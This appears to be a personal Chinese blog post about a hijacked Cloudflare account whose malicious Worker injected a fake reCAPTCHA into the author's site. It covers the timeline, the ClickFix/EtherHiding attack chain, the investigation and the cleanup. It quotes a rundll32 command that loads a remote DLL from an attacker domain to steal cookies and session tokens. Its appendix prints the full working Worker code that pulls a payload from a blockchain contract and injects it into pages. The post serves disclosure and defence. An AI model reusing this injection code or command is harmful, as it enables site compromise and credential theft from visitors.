前言
大家好——,又是好久不见的诈尸时刻了x
在这个全世界都在用AI的时代坚持手写文字还是挺困难的(汗
尤其自己似乎越来越老登了,只有在自己的博客才能充分的中二…嗯!博客一旦被认识的人打开世界就要毁灭了
也就是所谓的人生终了吧!可喜可贺可喜可贺~
正题
该进入正题啦!
记录一下这次的Cloudflare盗号时间
先简单过一遍时间线吧
| 时间 | 操作 |
|---|---|
| 2026-03-08 | 将github Action的部署转为Cloudflare Pages |
| 2026-03-14 | 未知用户登录创建恶意worker |
| 2026-03-23 | 登录博客中招,开始杀毒并排查问题 |
| 2026-03-23 | 排查完毕来写博客 |
有关如何切换到Cloudflare Pages,打个广告:我说Cloudflare神了
总而言之我们先进入到这个木马是什么吧
有关木马
参考 Anyrun 似乎怎么都比我好,在报告中被标记为clickfix、钓鱼
注入方式
具体而言是盗号去Cloudflare(我也不知道我怎么被盗的…)创建一个恶意worker:
- 拦截每一个
fetch()请求,转而请求https://bsc-testnet.drpc.org/(具体合约地址0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e) - 按
Solidity ABI的动态字符串格式解码返回结果 - 并透过
atob()转为JavaScript代码注入到浏览器body前 - 最终会得到一个伪造的recaptcha:


破坏方式
具体而言会以下列的方式让用户中招:
- 伪造成recaptcha
- 在你点击后,会将这条指令复制到你的粘贴板:
rundll32.exe \\dev3field.nodalbufferpoint.in.net\verification.google,#1- 其中
dev3field.nodalbufferpoint.in.net属于随机轮换域名
- 其中
- 在你跟着他的指引运行后,就开始破坏操作了
- 透过
rundll32加载远端UNC路径的远程dll(伪装成verification.google)会直接映射到内存运行 - 连接远程BNB smart chain,也就是俗称的链上地址?会在链上读取一份智能合约的代码,tag:
EtherHiding 技术 - 使用
QueueUserAPC注入到msgedge.exe / chrome.exe中,直接读取你的:- Cookie & session storage(token)
- login / web data
- 透过区块链外传到攻击者
- 自我清理删除
- 透过
- 根据anyrun报告,似乎会在一分钟内完成所有操作(最终记录72731 ms)
中招与排查
总而言之就是中招了啦(失落)
谁能想到代码完全自己写的页面,部署在Github、Cloudflare的网页还能中招呢,没有一点防备。
仔细想想的话…我没有搞过什么captcha啊!!
所以就只能排查了……
排查过程很简单也很清晰:
- 检查源码,确认Github Action workflow是否有异常 → 无
- 检查DNS是否被污染到其他镜像地址 → 无
- 更换设备,用手机访问确认是远端页面还是本地病毒 → 手机复现,远端病毒
- 至此确认:站点源码和部署过程没有任何问题 → 思考远端访问时被注入
- 挑战抓包,得到一份不在源码的奇怪代码
onclick="ym(99162160,'reachGoal','Click', ...),绑定在额外的Yandex Metrica→ 确定客户端运行时被注入 - 检查Cloudflare → 发现一个不认识的worker:
worker-odd-wood-45b9 - 最终排查成功!!
排查后修复与保险处理
排查到问题了也就很好搞了:
- 直接删除了worker确认没有其他牵涉
- 修改Cloudflare密码和上游谷歌密码,并全部重置了所有Cloudflare API
- 删除了浏览器所有浏览记录包括cookie
- 完整全盘杀毒两次
- 由于浏览器没有存任何密码,使用的是 bitwarden,相对来说似乎要安全的多
附录
顺便把worker源码贴出来吧,我要狠狠的裱起来痛批一万年!
想了下好像也没什么必要脱敏了,就这样丢出来吧,就算有有心人,做完了不也是把数据丢给别人吗…,嗯…大概
export default {
async fetch(request, env, ctx) {
let injectedScript = "";
try {
// 从链上合约读取一段字符串
const readStringFromContract = async (contractAddress) => {
const bytesToHex = (bytes) => {
let hex = "0x";
for (const b of bytes) {
const part = b.toString(16);
hex += part.length === 1 ? `0${part}` : part;
}
return hex;
};
const rpcResponse = await fetch("https://bsc-testnet.drpc.org/", {
method: "POST",
headers: {
Accept: "application/json",
"Content-Type": "application/json",
},
body: JSON.stringify({
method: "eth_call",
params: [
{
to: contractAddress,
data: "0x6d4ce63c",
},
"latest",
],
id: 97,
jsonrpc: "2.0",
}),
});
const hexResult = (await rpcResponse.json()).result.slice(2);
const bytes = new Uint8Array(
hexResult.match(/[\da-f]{2}/gi).map((x) => parseInt(x, 16))
);
// 按 ABI 动态字符串格式解码
const offset = Number(bytesToHex(bytes.slice(0, 32)));
const length = Number(bytesToHex(bytes.slice(32, 32 + offset)));
return String.fromCharCode.apply(
null,
bytes.slice(32 + offset, 32 + offset + length)
);
};
const encoded = await readStringFromContract(
"0xa8f4e15d48e0d9fb20e57ed06ec2c71744640d2e"
);
// 合约返回的字符串还要再做一次 base64 解码
injectedScript = atob(encoded);
} catch {
// 故意吞掉异常
}
const upstreamResponse = await fetch(request);
// 没拿到脚本,或者不是 HTML,就直接放行
if (
!injectedScript ||
!upstreamResponse.headers.get("Content-Type")?.includes("text/html")
) {
return upstreamResponse;
}
// 注入到页面 body 结束前
const html = (await upstreamResponse.text()).replace(
"</body>",
`<script>${injectedScript}<\/script></body>`
);
return new Response(html, {
status: upstreamResponse.status,
statusText: upstreamResponse.statusText,
headers: {
...upstreamResponse.headers,
"Content-Type": "text/html;charset=UTF-8",
"Content-Length": html.length.toString(),
},
});
},
};